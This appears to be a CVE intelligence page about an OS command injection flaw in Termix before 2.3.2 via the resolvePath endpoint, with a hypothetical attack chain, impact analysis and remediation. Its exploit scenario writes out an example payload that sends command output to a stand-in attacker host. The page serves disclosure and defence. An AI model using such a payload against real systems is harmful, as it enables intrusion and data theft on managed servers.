Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate to Termix web UI
-
DeliveryOpen SSH session to target host
-
ExploitSend crafted resolvePath request with $(...) payload
-
InstallTermix embeds path in shell command
-
C2Remote shell evaluates command substitution
-
ExecuteAttacker command executes on managed host
-
ImpactPivot across all Termix-connected servers
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | An attacker needs a valid Termix account with permission to use the File Manager component and an already-established SSH session to a target host (PR:L plus UI:R in the CVSS vector reflect this prerequisite). Termix must be running a vulnerable version below 2.3.2 with the file manager feature enabled, and the attacker must be able to reach the /ssh/file_manager/ssh/resolvePath endpoint over the network. Exploitation is limited by these factors: it is not anonymous, it requires the targeted SSH connection to be active during the attack, and the resulting command runs as the SSH user configured in Termix rather than necessarily as root. |
| Impact | The CVSS 3.1 vector AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H produces a 9.0 score driven primarily by the changed scope: the vulnerable Termix web component executes the injected command on a different security authority (the remote SSH host), so a compromise of one Termix tenant can pivot into every connected server. Exploitation requires low-privilege authentication to Termix (PR:L) and some user interaction (UI:R), which moderates the practical threat compared to a fully unauthenticated RCE. There is no EPSS score, no CISA KEV listing, and no public proof-of-concept indicated in the provided data, so risk today appears bounded to environments where untrusted or low-trust users hold Termix accounts; however, the trivial nature of $(...) injection means exploit code is straightforward to derive from the advisory text once attention is drawn to it. |
| Exploit ScenarioDerived | A low-privilege Termix user with access to the File Manager component crafts a request to GET /ssh/file_manager/ssh/resolvePath where the path parameter contains a $(...) substitution such as $(curl attacker.example/$(id|base64)). When Termix opens the active SSH session and embeds the value inside the double-quoted shell command, the remote shell evaluates the substitution and executes the attacker's command on the managed host. The attacker thereby pivots from a Termix account into arbitrary command execution on every SSH host the victim session has access to. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jun 05, 2026
Command injection in Termix server management platform before version 2.3.2 allows authenticated users to execute arbitrary shell commands on remote SSH-managed hosts via the File Manager's resolvePath endpoint. The flaw stems from incomplete shell escaping that only handles double quotes while leaving command substitution syntax interpretable. No public exploit identified at time of analysis, but the GitHub Security Advisory (GHSA-v26q-rpv5-9m72) and CVSS 9.0 rating signal high impact across confidentiality, integrity, and availability of downstream SSH targets.
RemediationAI
Vendor-released patch: upgrade Termix to version 2.3.2 or later, available from https://github.com/Termix-SSH/Termix/releases/tag/release-2.3.2-tag for Windows, Linux (x64 and ARM64), and macOS. Until the upgrade is applied, restrict Termix accounts to fully trusted operators only, block external network reach to the Termix web UI via firewall or reverse-proxy ACLs, and avoid configuring SSH credentials for high-value hosts inside Termix because any logged-in user can pivot through the file manager; note these controls reduce but do not eliminate insider risk and break legitimate multi-user collaboration workflows. Review the GitHub Security Advisory GHSA-v26q-rpv5-9m72 for any additional vendor guidance.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Termix (cpe:2.3:a:termix-ssh:termix) is a web-based SSH management platform providing browser-accessible terminal, tunneling, and file editing functionality against remote hosts. The vulnerability is a classic CWE-78 (OS Command Injection) where the GET /ssh/file_manager/ssh/resolvePath handler takes a user-supplied 'path' parameter and concatenates it into a shell command string sent over an active SSH session. The sanitizer escapes only double quote characters but leaves shell metacharacters such as $(...) untouched, so command substitution executes on the remote host even though the value sits inside a double-quoted argument - a textbook example of insufficient shell-metacharacter neutralization.
Know when Termix gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Primary rating from GitHub Advisory · only source for this CVE.
CVSS VectorGitHub Advisory
Lifecycle Timeline
1DescriptionGitHub Advisory
Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. Prior to version 2.3.2, the GET /ssh/file_manager/ssh/resolvePath endpoint in the Termix File Manager component unsafely processes the path parameter and embeds it into a shell command executed over the active SSH session. Because the user-controlled value is placed inside double quotes and only double quotes are escaped, shell command substitution syntax such as $(...) is still interpreted by the remote shell. Version 2.3.2 fixes the issue.
Executive ViewAI
Termix server management platform versions before 2.3.2 contain a critical command injection flaw in the File Manager's resolvePath endpoint that allows authenticated users to execute arbitrary shell commands on managed SSH infrastructure. No public exploit identified at time of analysis, but the vulnerability exposes all downstream servers under Termix management to full compromise-posing direct risk to confidentiality, integrity, and availability of critical infrastructure.
Network segmentation restricting Termix File Manager access to administrative VLANs; administrative access controls limiting resolvePath endpoint to specific named users; disable File Manager functionality if not operationally required; implement real-time monitoring and alerting on all File Manager operations; isolate SSH-managed hosts to limit lateral movement if Termix is compromised; establish incident response procedures for potential command execution through this vector.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Unauthenticated attackers can retrieve stored SSH host credentials - including addresses, usernames, and passwords - fro
Stored XSS in Termix File Manager (versions 1.7.0-1.9.0) allows attackers with SSH server access to execute arbitrary Ja
Remote command execution in Termix web-based server management platform (versions prior to 2.3.2) allows any authenticat
Remote code execution in Termix (self-hosted web-based server management platform) before version 2.1.0 lets an authenti
OS command injection in Termix (self-hosted web SSH/tunneling platform) before 2.3.2 lets an authenticated user who can
OS command injection in Termix web-based server management platform prior to version 2.3.2 allows remote unauthenticated
Cross-user SSH credential disclosure in Termix, a self-hosted web server-management platform, allows an authenticated lo
Broken authorization in Termix (self-hosted web-based SSH/server management platform) before 2.6.1 lets any authenticate
Command injection in Termix 2.4.1 through 2.5.0 lets an authenticated administrator execute arbitrary operating-system c
Cross-tenant remote code execution in Termix (web-based SSH/file management platform) prior to version 2.3.2 allows an a
Remote command injection in Termix, a web-based SSH server management platform, allows any authenticated user with file-
Unauthorized data exposure in Termix prior to 2.3.2 allows a low-privileged authenticated user to exfiltrate password-re
EUVD-2026-34878
NVD
CVE.org
EPSS
Vulnrichment
GitHub
Exploit-DB